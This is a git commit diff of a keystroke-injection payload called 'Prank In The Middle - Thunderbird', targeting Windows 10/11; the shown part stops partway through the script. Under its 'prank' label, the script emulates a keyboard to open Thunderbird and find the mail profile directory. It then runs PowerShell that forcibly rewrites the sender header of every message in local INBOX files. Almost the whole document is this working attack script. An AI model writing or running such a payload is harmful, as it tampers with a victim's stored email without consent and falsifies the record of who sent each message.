pull/686/head
Aleff 2024-06-11 07:56:31 +02:00 committed by GitHub
parent 6c5b186447
commit fdf3e69142
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 23 additions and 22 deletions

View File

@ -1,16 +1,17 @@
* REM ###################################################
* REM # #
* REM # Title : Prank In The Middle - Thunderbird #
* REM # Author : Aleff #
* REM # Version : 1.0 #
* REM # Category : Prank #
* REM # Target : Windows 10/11 #
* REM # #
* REM ###################################################
###################################################
# #
# Title : Prank In The Middle - Thunderbird #
# Author : Aleff #
# Version : 1.0 #
# Category : Prank #
# Target : Windows 10/11 #
# #
###################################################
ATTACKMODE HID
* REM Open Thunderbird and goto settings
# Open Thunderbird and goto settings
QUACK DELAY 1500
QUACK GUI r
QUACK STRING thunderbird
QUACK ENTER
@ -28,7 +29,7 @@ QUACK UPARROW
QUACK ENTER
QUACK DELAY 500
* REM Goto profile directory
# Goto profile directory
QUACK TAB
QUACK TAB
QUACK TAB
@ -43,7 +44,7 @@ QUACK TAB
QUACK ENTER
QUACK DELAY 500
* REM Copy the directory path
# Copy the directory path
QUACK TAB
QUACK TAB
QUACK TAB
@ -58,7 +59,7 @@ QUACK DELAY 500
QUACK ALT F4
QUACK DELAY 500
* REM Open the powershell and goto the directory
# Open the powershell and goto the directory
QUACK GUI r
QUACK STRING powershell
QUACK ENTER
@ -70,38 +71,38 @@ QUACK DELAY 500
QUACK ENTER
QUACK DELAY 500
* REM Get the INBOX content and edit it overwriting. Then close the powershell
# Get the INBOX content and edit it overwriting. Then close the powershell
QUACK STRING cd ImapMail
QUACK ENTER
QUACK DELAY 500
QUACK STRING $directories = Get-ChildItem -Directory | Select-Object FullName
QUACK STRING \$directories = Get-ChildItem -Directory | Select-Object FullName
QUACK ENTER
QUACK DELAY 500
QUACK STRING foreach ($dir in $directories) {
QUACK STRING foreach (\$dir in \$directories) {
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Replace backslashes with slash
QUACK ENTER
QUACK DELAY 500
QUACK STRING $newPath = $dir.FullName -replace '\\', '/'
QUACK STRING \$newPath = \$dir.FullName -replace '\\', '/'
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Add the sub-string '/INBOX' to the end
QUACK ENTER
QUACK DELAY 500
QUACK STRING $newPath += '/INBOX'
QUACK STRING \$newPath += '/INBOX'
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Check whether the INBOX file exists
QUACK ENTER
QUACK DELAY 500
QUACK STRING if (Test-Path $newPath) {
QUACK STRING if (Test-Path \$newPath) {
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Check whether the INBOX file exists
QUACK ENTER
QUACK DELAY 500
QUACK STRING $emails = Get-Content -Path $newPath -Raw
QUACK STRING \$emails = Get-Content -Path \$newPath -Raw
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Replace email sender with Rick Roll!
@ -113,13 +114,13 @@ QUACK DELAY 500
QUACK STRING # and does not contain complex MIME structures
QUACK ENTER
QUACK DELAY 500
QUACK STRING $modifiedEmails = $emails -replace 'From:\s.*\s<(?:[a-z0-9!#$%&*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&*+/=?^_`{|}~-]+)*|`\"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])>', 'From: Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>'
QUACK STRING \$modifiedEmails = \$emails -replace 'From:\s.*\s<(?:[a-z0-9!#\$%&*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&*+/=?^_`{|}~-]+)*|`\"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])>', 'From: Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>'
QUACK ENTER
QUACK DELAY 500
QUACK STRING # Write the modified content into the INBOX file.
QUACK ENTER
QUACK DELAY 500
QUACK STRING Set-Content -Path $newPath -Value $modifiedEmails -Force
QUACK STRING Set-Content -Path \$newPath -Value \$modifiedEmails -Force
QUACK ENTER
QUACK DELAY 500
QUACK STRING }